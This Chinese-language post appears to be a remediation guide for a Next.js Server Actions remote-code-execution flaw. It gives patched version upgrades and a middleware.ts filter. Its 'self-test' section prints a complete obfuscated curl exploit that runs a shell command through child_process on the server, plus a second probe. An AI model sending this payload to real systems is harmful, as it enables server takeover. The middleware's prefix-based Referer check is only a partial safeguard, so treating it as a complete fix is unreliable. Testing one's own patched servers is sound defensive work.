官方漏洞
解决方案
通过升级版本和项目本身进行修复
根据官方要求升级库版本
下面列举nextjs的部分,更多参考官方文档
bash
npm install next@14.2.35 // for 13.3.x, 13.4.x, 13.5.x, 14.x
npm install next@15.0.7 // for 15.0.x
npm install next@15.1.11 // for 15.1.x
npm install next@15.2.8 // for 15.2.x
npm install next@15.3.8 // for 15.3.x
npm install next@15.4.10 // for 15.4.x
npm install next@15.5.9 // for 15.5.x
npm install next@16.0.10 // for 16.0.x
项目本身进行拦截
修改 next项目的 middleware.ts 文件进行拦截
ts
import { NextRequest, NextResponse } from 'next/server';
// 验证 Referer 是否为合法来源(轻量级实现,避免创建 URL 对象)
function isValidReferer(referer: string, origin: string): boolean {
// 直接使用字符串比较,避免创建 URL 对象带来的内存开销
return referer.startsWith(origin) || referer.startsWith(`${origin}/`);
}
export default function middleware(request: NextRequest) {
const { pathname } = request.nextUrl;
// 先快速过滤静态资源和API请求,避免不必要的安全检查开销
if (pathname.startsWith('/_next') || pathname.startsWith('/favicon.ico')) {
return NextResponse.next();
}
// 安全检查: 防止 Next.js Server Actions RCE 漏洞
// 只对带有 Next-Action 头的请求进行检查,避免影响正常页面请求性能
const nextActionHeader = request.headers.get('Next-Action');
if (nextActionHeader) {
const contentType = request.headers.get('Content-Type');
// 检查是否为异常的 multipart/form-data 请求(主要攻击向量)
if (contentType?.includes('multipart/form-data')) {
const referer = request.headers.get('Referer');
// 验证 Referer 来源,防止跨站攻击(移除日志避免内存问题)
if (!referer || !isValidReferer(referer, request.nextUrl.origin)) {
return new NextResponse('Forbidden', { status: 403 });
}
}
}
// 后面继续执行业务逻辑
...
}
自测命令
注意:将其中的
localhost:3000替换为自己本地地址
方法一:
bash
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFnJiYNZt' -H $'Content-Length: 1158' \
--data-binary $'------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\x09\"a\":\"c\",\x0d\x0a \"then\":\"$1:__proto__:then\",\x0d\x0a \"status\":\"resolved_model\",\x0d\x0a \"reason\":-1,\x0d\x0a \"value\":\"{\\\"then\\\":\\\"$B\\\"}\",\x0d\x0a \"_response\":{\x0d\x0a \"_prefix\":\"var _0x2adb=[\'\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\',\'\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\',\'\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\'];var _0x54ea=function(_0x2adb82,_0x54ea8e){_0x2adb82=_0x2adb82-0x0;var _0x1ed852=_0x2adb[_0x2adb82];return _0x1ed852;};var res=process[_0x54ea(\'0x1\')][\'require\'](_0x54ea(\'0x0\'))[\'execSync\'](\'id\')[_0x54ea(\'0x2\')]()[\'trim\']();var _0x3236=[\'assign\'];var _0x58c8=function(_0x3236f2,_0x58c8b7){_0x3236f2=_0x3236f2-0x0;var _0x22ddc4=_0x3236[_0x3236f2];return _0x22ddc4;};throw Object[_0x58c8(\'0x0\')](new Error(\'a\'),{\'digest\':\'\'+res});\",\x0d\x0a \"_chunks\":\"$Q2\",\x0d\x0a \"_formData\":{\"get\":\"$1:constructor:constructor\"}\x0d\x0a }\x0d\x0a}\x0d\x0a\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"1\"\x0d\x0a\x0d\x0a\"$@0\"\x0d\x0a------WebKitFormBoundaryFnJiYNZt\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a[]\x0d\x0a------WebKitFormBoundaryFnJiYNZt--' \
$'http://localhost:3000/'
方法二:
bash
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: zh-TW,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6' -H $'X-Forwarded-For: 127.0.0.1' -H $'X-Originating-Ip: 127.0.0.1' -H $'X-Remote-Ip: 127.0.0.1' -H $'X-Remote-Addr: 127.0.0.1' -H $'Connection: close' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4e746pA' -H $'Content-Length: 118' \
--data-binary $'------WebKitFormBoundaryY4e746pA\x0d\x0aContent-Disposition: form-data; name=\"2\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryY4e746pA--\x0d\x0a\x0d\x0a' \
$'http://localhost:3000/'